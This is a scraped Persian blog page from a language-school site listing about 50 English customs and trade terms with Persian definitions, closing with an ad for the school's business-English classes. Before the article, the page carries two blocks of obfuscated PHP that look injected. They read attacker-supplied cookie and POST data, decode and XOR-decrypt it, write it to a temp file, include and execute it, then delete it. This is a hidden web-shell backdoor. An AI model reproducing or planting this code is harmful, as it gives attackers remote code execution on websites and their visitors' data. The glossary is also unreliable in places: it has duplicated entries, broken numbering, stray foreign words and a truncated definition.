$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} اصطلاحات گمرکی به انگلیسی | وبلاگ اتیچر
skip to Main Content

اصطلاحات گمرکی به انگلیسی

اصطلاحات گمرکی به انگلیسی
زمان مطالعه: ۵ دقیقه

آشنایی با اصطلاحات گمرکی به زبان انگلیسی برای فعالان اقتصادی و بازرگانانی که در تجارت بین‌المللی فعالیت می‌کنند، از اهمیت بالایی برخوردار است. این اصطلاحات در اسناد و مکاتبات گمرکی، فاکتورها، بارنامه‌ها و سایر اسناد مربوط به صادرات و واردات کالا استفاده می‌شوند.

در این مقاله، به معرفی ۵۰ اصطلاح پرکاربرد در زمینه گمرک به زبان انگلیسی می‌پردازیم:

  1. Ad valorem (ارزش‌محور): مبنای محاسبه حقوق گمرکی بر اساس ارزش کالا.
  2. Appraisement (ارزیابی): فرآیند تعیین ارزش کالا برای محاسبه حقوق گمرکی.
  3. Arrival notice (اعلان ورود): سندی که توسط شرکت حمل و نقل به گمرک ارائه می‌شود و جزئیات مربوط به محموله، مانند فرستنده، گیرنده و محتوای آن را نشان می‌دهد.
  4. Authorized economic operator (AEO) (اپراتور اقتصادی مجاز): شرکتی که توسط گمرک به عنوان یک اپراتور قابل اعتماد شناخته شده است و از مزایایی مانند ترخیص سریعتر کالا و بازرسی‌های کمتری برخوردار است.
  5. Bill of entry (اعلامیه ورود): سندی که توسط واردکننده به گمرک ارائه می‌شود و جزئیات مربوط به کالا، مانند ارزش، تعرفه و کشور مبدا را نشان می‌دهد.
  6. Bond (ضمانت): تعهدی که توسط واردکننده یا صادرکننده برای پرداخت حقوق گمرکی و سایر عوارض دولتی ارائه می‌شود.
  7. Broker (کارگزار): فرد یا شرکتی که به نمایندگی از واردکننده یا صادرکننده در امور گمرکی عمل می‌کند.
  8. Classification (طبقه‌بندی): فرآیند تعیین کد تعرفه گمرکی برای یک کالا.

. Commercial invoice (فاکتور تجاری): سندی که جزئیات مربوط به یک معامله، مانند کالاها، قیمت و شرایط پرداخت را نشان می‌دهد.

  1. Customs declaration (اعلامیه گمرکی): سندی که توسط واردکننده یا صادرکننده به گمرک ارائه می‌شود و اطلاعات مربوط به کالا، مانند ارزش، تعرفه و کشور مبدا را نشان می‌دهد.
  2. Customs duty (حقوق گمرکی): مالیاتی که بر کالاهای وارداتی یا صادراتی توسط دولت اعمال می‌شود.
  3. Customs procedure (رویه گمرکی): فرآیندی که کالاها باید برای ورود یا خروج از یک کشور از آن عبور کنند.
  4. Customs valuation (ارزیابی گمرکی): فرآیند تعیین ارزش کالا برای محاسبه حقوق گمرکی.
  5. De minimis value (ارزش ناچیز): آستانه‌ای که زیر آن کالاها از پرداخت حقوق گمرکی معاف هستند.
  6. Drawback (بازپرداخت): بازپرداخت части حقوق گمرکی یا سایر عوارض دولتی که قبلاً پرداخت شده است.
  7. Duty-free (معاف از حقوق گمرکی): کالایی که مشمول حقوق گمرکی نیست.
  8. Entry summary (خلاصه ورود): سندی که توسط واردکننده به گمرک ارائه می‌شود و جزئیات مربوط به کالا، مانند ارزش، تعرفه و کشور مبدا را نشان می‌دهد.
  9. Export declaration (اعلامیه صادرات): سندی که توسط صادرکننده به گمرک ارائه می‌شود و اطلاعات مربوط به کالا، مانند ارزش، تعرفه و کشور مقصد را نشان می‌دهد.
  10. Free trade agreement (معاهده تجارت آزاد): توافقی بین دو یا چند کشور برای حذف یا کاهش تعرفه‌ها و سایر موانع تجاری بین خود.
  11. Harmonized System (HS) (سیستم هماهنگ شده): سیستم کدگذاری بین‌المللی برای طبقه‌بندی کالاها برای مقاصد گمرکی.
  12. Import declaration (اعلامیه واردات): سندی که توسط واردکننده به گمرک ارائه می‌شود و جزئیات مربوط به کالا، مانند ارزش، تعرفه و کشور مبدا را نشان می‌دهد.
  13. Importer (واردکننده): فرد یا شرکتی که کالا را به داخل یک کشور وارد می‌کند.
  14. Inspection (بازرسی): فرآیندی که توسط گمرک برای بررسی کالاها برای اطمینان از مطابقت آنها
  15. Intellectual property rights (IPR)(حقوق مالکیت معنوی)حقوقی که به صاحبان اختراعات، طرح‌های صنعتی، حق چاپ و سایر آثار خلاقانه اعطا می‌شود.
  16. Landed cost (هزینه تمام شده): قیمت نهایی یک کالای وارداتی، شامل تمام هزینه‌ها، مانند حقوق گمرکی، مالیات و هزینه‌های حمل و نقل.
  17. Landed cost (هزینه تمام شده): قیمت نهایی یک کالای وارداتی، شامل تمام هزینه‌ها، مانند حقوق گمرکی، مالیات و هزینه‌های حمل و نقل.
  18. Landed cost (هزینه تمام شده): قیمت نهایی یک کالای وارداتی، شامل تمام هزینه‌ها، مانند حقوق گمرکی، مالیات و هزینه‌های حمل و نقل.
  19. Low value imports (واردات با ارزش کم): کالاهایی با ارزش ناچیز که مشمول فرآیندهای گمرکی ساده‌تری هستند.
  20. Manifest (مانیفست): سندی که جزئیات تمام محموله‌های موجود در یک وسیله نقلیه، مانند کشتی یا هواپیما را فهرست می‌کند.
  21. Origin (مبدأ): کشوری که در آن یک کالا تولید یا ساخته شده است
  22. Packing list (لیست بسته‌بندی): سندی که جزئیات محتوای یک بسته یا کانتینر را فهرست می‌کند.
  23. Post-clearance audit (بازرسی پس از ترخیص): بازرسی که توسط گمرک پس از ترخیص کالا از گمرک انجام می‌شود.
  24. Preferential origin (مبدأ ترجیحی): کشوری که در صورت صادرات به یک کشور خاص، از تعرفه‌های ترجیحی یا معافیت‌های گمرکی برخوردار است.
  25. Pro forma invoice (فاکتور پیش‌فرض): سندی که جزئیات یک معامله را نشان می‌دهد، اما به عنوان یک فاکتور واقعی در نظر گرفته نمی‌شود.
  26. Pro forma invoice (فاکتور پیش‌فرض): سندی که جزئیات یک معامله را نشان می‌دهد، اما به عنوان یک فاکتور واقعی در نظر گرفته نمی‌شود.
  27. Protective tariff (تعرفه حمایتی): تعرفه‌هایی که برای محافظت از صنایع داخلی در برابر رقابت خارجی اعمال می‌شوند.
  28. Protective tariff (تعرفه حمایتی): تعرفه‌هایی که برای محافظت از صنایع داخلی در برابر رقابت خارجی اعمال می‌شوند.
  29. Quarantine (قرنطینه): فرآیندی که برای جلوگیری از ورود بیماری‌ها یا آفات به یک کشور اعمال می‌شود.
  30. Quarantine (قرنطینه): فرآیندی که برای جلوگیری از ورود بیماری‌ها یا آفات به یک کشور اعمال می‌شود.
  31. Refund (بازپرداخت): بازپرداخت حقوق گمرکی یا سایر عوارض دولتی که قبلاً پرداخت شده است.
  32. Release order (دستور ترخیص): سندی که توسط گمرک صادر می‌شود و به صاحب کالا اجازه می‌دهد تا کالای خود را از گمرک ترخیص کند.
  33. Restricted goods (کالاهای ممنوعه): کالاهایی که ورود یا خروج آنها از یک کشور به دلایل امنیتی، سلامتی یا زیست‌محیطی ممنوع است.
  34. Sanctions (تحریم‌ها): اقداماتی که توسط یک کشور برای مجازات کشور دیگری به دلیل نقض قوانین بین‌المللی اعمال می‌شود.
  35. Simplified procedures (رویه‌های ساده‌سازی شده): فرآیندهای گمرکی ساده‌تر که برای کالاهای با ارزش کم یا کم خطر اعمال می‌شود.
  36. Tariff (تعرفه): مالیاتی که بر کالاهای وارداتی یا صادراتی توسط دولت اعمال می‌شود.
  37. Tariff rate (نرخ تعرفه): درصدی از ارزش کالا که به عنوان حقوق گمرکی پرداخت می‌شود.
  38. Temporary admission (پذیرش موقت): ورود موقت کالا به یک کشور برای یک هدف خاص، مانند نمایشگاه یا رویداد ورزشی.
  39. Temporary admission (پذیرش موقت): ورود موقت کالا به یک کشور برای یک هدف خاص، مانند نمایشگاه یا رویداد ورزشی.
  40. Transit (ترانزیت): حمل کالا از طریق یک کشور به کشور دیگر بدون ترخیص از گمرک.
  41. Valuation methods (روش‌های ارزیابی): روش‌هایی که توسط گمرک برای تعیین ارزش کالا برای محاسبه حقوق گمرکی استفاده می‌شود.
  42. Warehouse (انبار): مکانی برای ذخیره‌سازی کالا.
  43. World Trade Organization (WTO) (سازمان تجارت جهانی): سازمانی که قوانین تجارت بین‌المللی را تنظیم می‌کند.

این فقط ۵۰ مورد از اصطلاحات پرکاربرد در زمینه گمرک به زبان انگلیسی بود. برای فعالیت موثر در این حوزه، لازم است با اصطلاحات تخصصی بیشتری آشنا شوید و بتوانید به طور روان و صحیح از آنها در مکالمات، مذاکرات و correspondencia خود استفاده کنید.

منابع برای یادگیری بیشتر اصطلاحات گمرکی به انگلیسی

  • کتاب‌های آموزشی گمرک: کتاب‌های متعددی در این زمینه وجود دارند که می‌توانند به شما در یادگیری اصطلاحات و مفاهیم مربوط به امور گمرکی کمک کنند.
  • دوره‌های آنلاین گمرک: دوره‌های آنلاین متعددی نیز در این زمینه وجود دارند که می‌توانند به شما کمک کنند تا توانایی‌های خود برای یادگیری زبان تجاری گمرکی را افزایش دهید.

اُتیچر همراه شرکت‌ها، سازمان‌ها و فعالان کسب‌وکار

در کنار کتاب‌ها، نرم‌افزارها و منابع مختلف یادگیری زبان تجاری می‌توانید از خدمات کلاس زبان آنلاین اُتیچر استفاده کنید. اُتیچر با بهره‌گیری از برترین اساتید و متدهای آموزشی نوین کلاس‌های تخصصی آموزش زبان کسب و کار را برگزار می‌کند و به انتخاب اول بسیاری از سازمان‌ها تبدیل شده است. برای شروع همکاری کافی است همین حالا با اُتیچر تماس حاصل کنید.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search